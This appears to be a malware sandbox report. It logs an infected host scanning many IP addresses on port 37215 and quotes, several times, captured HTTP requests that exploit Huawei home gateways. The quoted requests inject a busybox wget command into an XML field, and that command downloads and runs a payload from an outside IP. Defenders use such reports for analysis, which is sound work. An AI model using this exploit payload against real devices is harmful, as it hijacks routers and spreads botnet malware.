Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.197.7.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 185.84.156.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.156.190.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.124.3.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.144.170.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.255.234.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.142.165.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.197.160.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.200.205.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.198.73.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.203.51.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.44.116.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 140.184.154.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.145.79.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.77.61.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.61.235.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.109.206.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.133.144.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.126.126.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.48.97.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.121.219.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.214.43.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.135.165.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 115.207.63.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 49.142.206.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.221.167.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.102.57.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.36.166.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.47.68.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.201.4.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.159.135.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 93.184.93.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.11.108.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.190.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.11.90.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 79.245.245.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 52.40.179.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.147.77.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 151.52.129.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.186.75.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.211.34.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.235.111.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.41.16.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.139.21.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.240.224.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.67.240.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.60.79.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.185.6.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.215.177.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.207.101.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.170.165.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.17.144.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.208.25.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.126.118.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.65.52.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 149.43.178.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.108.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.121.54.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 182.236.58.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.157.51.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.94.136.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.232.99.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.137.99.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.169.165.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.103.63.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.204.216.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.70.23.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.42.105.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.14.159.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.116.130.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.112.213.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.57.5.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.200.147.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.10.49.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.113.44.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.117.45.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 179.205.217.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.160.224.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 81.145.75.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.104.114.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.223.153.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 160.8.59.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 145.18.224.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.249.63.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.200.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.14.128.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.251.49.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 75.233.3.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.152.144.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.241.149.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.245.245.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.88.93.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 176.142.27.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.144.219.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.40.138.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.67.188.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 171.212.32.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.168.88.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.155.14.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.22.137.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.129.2.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.159.107.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.221.198.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.248.150.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.87.201.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.25.19.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.111.42.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.4.169.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.159.14.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.80.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.214.74.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.100.151.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.21.99.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 98.218.116.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.38.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 138.203.119.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.34.38.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.20.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.52.214.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.198.213.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.241.216.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.62.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.214.148.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 42.182.171.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.144.150.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.158.24.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 35.127.88.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.97.107.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.61.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.213.140.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.192.145.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.158.107.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.72.255.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.59.160.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.17.192.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.179.177.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.16.187.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 193.48.89.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.76.68.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.109.101.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.216.24.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.149.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.76.174.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.122.117.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.70.177.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.199.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.142.84.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.215.223.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.202.89.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 149.160.175.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.107.19.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 164.247.122.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.226.201.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.25.135.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 19.169.15.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.196.41.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 14.82.252.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.242.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 145.24.3.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.232.94.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.94.160.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.253.214.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 12.185.173.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.230.118.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.59.117.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 114.25.130.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.115.207.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.253.206.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 92.130.32.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.204.62.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.146.59.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.149.250.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.105.173.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.217.13.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 135.85.149.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 59.100.192.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.234.152.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 32.75.71.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.117.232.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.167.90.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 103.180.105.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.91.31.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.129.33.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 45.82.249.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.161.20.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 195.241.5.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 168.138.9.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.144.80.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.83.247.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.238.1.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.74.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.210.154.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 195.210.213.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 77.69.89.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.188.85.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.236.111.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.149.175.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.203.201.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 142.113.125.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.96.183.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.107.182.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.225.180.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 61.172.204.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.194.46.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.190.238.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.214.10.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.136.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.192.110.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.211.107.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 44.46.146.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.134.5.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.153.13.18:37215

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Source: unknown

DNS traffic detected: query: BC@^]B replaycode: Name error (3)

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l 